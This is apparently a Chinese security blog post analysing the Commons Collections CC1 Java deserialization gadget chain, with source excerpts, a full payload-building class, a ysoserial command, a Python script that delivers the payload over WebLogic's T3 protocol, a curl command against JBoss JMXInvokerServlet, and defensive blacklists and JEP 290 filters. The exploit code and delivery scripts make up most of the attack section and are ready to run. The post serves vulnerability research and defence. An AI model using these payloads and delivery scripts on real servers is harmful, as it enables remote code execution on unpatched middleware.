当前位置: 首页 > news >正文

java反序列化:CC1链深度剖析

CC1链是Java反序列化漏洞研究的里程碑,由安全研究员Chris Frohoff在2015年提出。作为最早公开的完整利用链,它开启了Java安全研究的新时代。本文将深入解析其技术原理、实现细节和防御方案。


一、CC1链技术背景

1.1 漏洞影响范围
  • 组件依赖:Commons Collections ≤ 3.2.1
  • JDK版本:Java ≤ 8u71(后续版本修复触发点)
  • 应用场景:WebLogic、WebSphere、JBoss等中间件
1.2 漏洞核心组件
组件作用
AnnotationInvocationHandler反序列化入口点
LazyMap延迟执行触发机制
ChainedTransformer链式命令执行引擎
InvokerTransformer反射执行任意方法

二、漏洞利用链原理

2.1 完整调用链
ObjectInputStream.readObject()→ AnnotationInvocationHandler.readObject()→ Proxy.entrySet()→ AnnotationInvocationHandler.invoke()→ LazyMap.get()→ ChainedTransformer.transform()→ Runtime.exec()
2.2 核心触发点分析
// sun.reflect.annotation.AnnotationInvocationHandler
private void readObject(ObjectInputStream ois) {// ...for (Map.Entry<String, Object> e : memberValues.entrySet()) {// 触发entrySet()调用}
}

三、关键类源码解析

3.1 LazyMap - 延迟执行触发点
// org.apache.commons.collections.map.LazyMap
public Object get(Object key) {if (!map.containsKey(key)) {// 关键漏洞触发点Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}
3.2 ChainedTransformer - 命令执行链
// org.apache.commons.collections.functors.ChainedTransformer
public Object transform(Object object) {for (Transformer transformer : iTransformers) {object = transformer.transform(object);}return object;
}
3.3 InvokerTransformer - 反射执行器
// org.apache.commons.collections.functors.InvokerTransformer
public Object transform(Object input) {Method method = input.getClass().getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);
}

四、完整Payload构造

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;public class CC1Exploit {public static byte[] generatePayload(String cmd) throws Exception {// 1. 构造Transformer执行链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 2. 创建ChainedTransformerChainedTransformer chain = new ChainedTransformer(transformers);// 3. 创建LazyMapMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, chain);// 4. 创建动态代理InvocationHandler handler = createHandler(lazyMap);// 5. 创建代理MapMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);// 6. 创建AnnotationInvocationHandlerInvocationHandler finalHandler = createHandler(proxyMap);// 7. 序列化PayloadByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(finalHandler);}return baos.toByteArray();}private static InvocationHandler createHandler(Map map) throws Exception {// 反射创建AnnotationInvocationHandlerClass<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> cons = aihClass.getDeclaredConstructor(Class.class, Map.class);cons.setAccessible(true);return (InvocationHandler) cons.newInstance(Override.class, map);}public static void main(String[] args) throws Exception {byte[] payload = generatePayload("calc.exe");// 反序列化触发try (ByteArrayInputStream bais = new ByteArrayInputStream(payload);ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject();}}
}

五、关键技术点解析

5.1 动态代理触发机制
Map proxyMap = (Map) Proxy.newProxyInstance(...);

作用:将LazyMap封装为动态代理,确保调用任何Map方法时都会触发AnnotationInvocationHandler.invoke()

5.2 双重代理设计
反序列化
AnnotationInvocationHandler1
代理Map
AnnotationInvocationHandler2
LazyMap
ChainedTransformer
5.3 触发时序控制
  1. 反序列化AnnotationInvocationHandler1
  2. 触发readObject()中的entrySet()调用
  3. 代理转发到AnnotationInvocationHandler2.invoke()
  4. 调用LazyMap.get()
  5. 执行ChainedTransformer命令链

六、利用方式详解

6.1 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "cmd /c calc.exe" > payload.bin
6.2 WebLogic T3协议利用
import socket
import structdef exploit(host, port, payload):# 建立T3连接sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))# 发送T3协议头sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n")# 构造攻击载荷payload_len = struct.pack(">I", len(payload))packet = b"\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff" packet += payload_len + payload# 发送攻击包sock.send(packet)sock.close()# 使用示例
with open("payload.bin", "rb") as f:exploit("192.168.1.100", 7001, f.read())
6.3 JBoss JMXInvokerServlet利用
curl http://target:8080/invoker/JMXInvokerServlet \--data-binary @payload.bin

七、防御解决方案

7.1 组件级修复
<!-- 升级Commons Collections -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.4</version>
</dependency>
7.2 代码级防护
public class SecureObjectInputStream extends ObjectInputStream {private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList("org.apache.commons.collections.functors.InvokerTransformer","sun.reflect.annotation.AnnotationInvocationHandler"));protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException {String className = desc.getName();if (BLACKLIST.contains(className)) {throw new InvalidClassException("Forbidden class: ", className);}return super.resolveClass(desc);}
}
7.3 JVM级防护
# 启用JEP 290过滤器
java -Djdk.serialFilter='\maxdepth=50;\maxarray=1000;\maxrefs=500;\!org.apache.commons.collections.**;\!sun.reflect.**;\!*' \-jar application.jar

八、技术总结

8.1 CC1链创新点
  1. 首次实现完整利用链:证明Java反序列化的实际危害
  2. 动态代理技术应用:解决触发点调用问题
  3. 反射绕过限制:实现Runtime的间接调用
  4. 多层封装设计:增强利用链的稳定性
8.2 漏洞影响
厂商受影响产品修复版本
OracleWebLogic10.3.6.0
Red HatJBoss EAP6.4.0
IBMWebSphere8.5.5
ApacheTomcat8.0.36
http://www.lryc.cn/news/589867.html

相关文章:

  • EP01:【NLP 第二弹】自然语言处理概述
  • SFT:大型语言模型专业化定制的核心技术体系——原理、创新与应用全景
  • PDF 转 Word 支持加密的PDF文件转换 批量转换 编辑排版自由
  • AFFiNE开源知识管理和协作平台的部署,替代Notion不是梦~
  • Linux Ubuntu apt包管理器安装K8s1.30.1+Ingress-Nginx
  • 【Vue】tailwindcss + ant-design-vue + vue-cropper 图片裁剪功能(解决遇到的坑)
  • flink sql读hive catalog数据,将string类型的时间戳数据排序后写入kafka,如何保障写入kafka的数据是有序的
  • Clip微调系列:《coOp: learning to prompt for vision-language models》
  • Python 进阶学习之全栈开发学习路线
  • Excel处理控件Aspose.Cells教程:使用 Python 在 Excel 中创建甘特图
  • Apache RocketMQ + “太乙” = 开源贡献新体验
  • 【C#】实体类定义的是long和值识别到的是Int64,实体类反射容易出现Object does not match target type
  • 查看.bin二进制文件的方式(HxD十六进制编辑器的安装)
  • Golang学习之常见开发陷阱完全手册
  • 【深度学习】神经网络-part3
  • 第一章 【vue】基础(超详细)
  • 解锁高效Excel技能:摆脱鼠标,快速编辑单元格
  • Git远程仓库与协作技巧详解
  • 如何关闭Elasticsearch的安全认证的解决方法
  • 机器学习sklearn入门:归一化和标准化
  • CG--资料分析1
  • 【后端】配置SqlSugar ORM框架并添加仓储
  • Three.js 实战:使用 PBR 贴图打造真实地面材质
  • 《Qt实战开发》:从计算器到音乐播放器的全栈实现指南
  • 从理论到实践:操作系统进程状态的核心逻辑与 Linux 实现
  • echarts 自定义图例,并且一个图列控制多个系列
  • 在 kubernetes 上安装 jenkins
  • argo-rollouts部署
  • 分块(chunked) vs 滑动窗口(windowed)
  • 开源模型应用落地-qwen模型小试-Qwen3-Embedding 模型集成 vLLM 实战解析(二)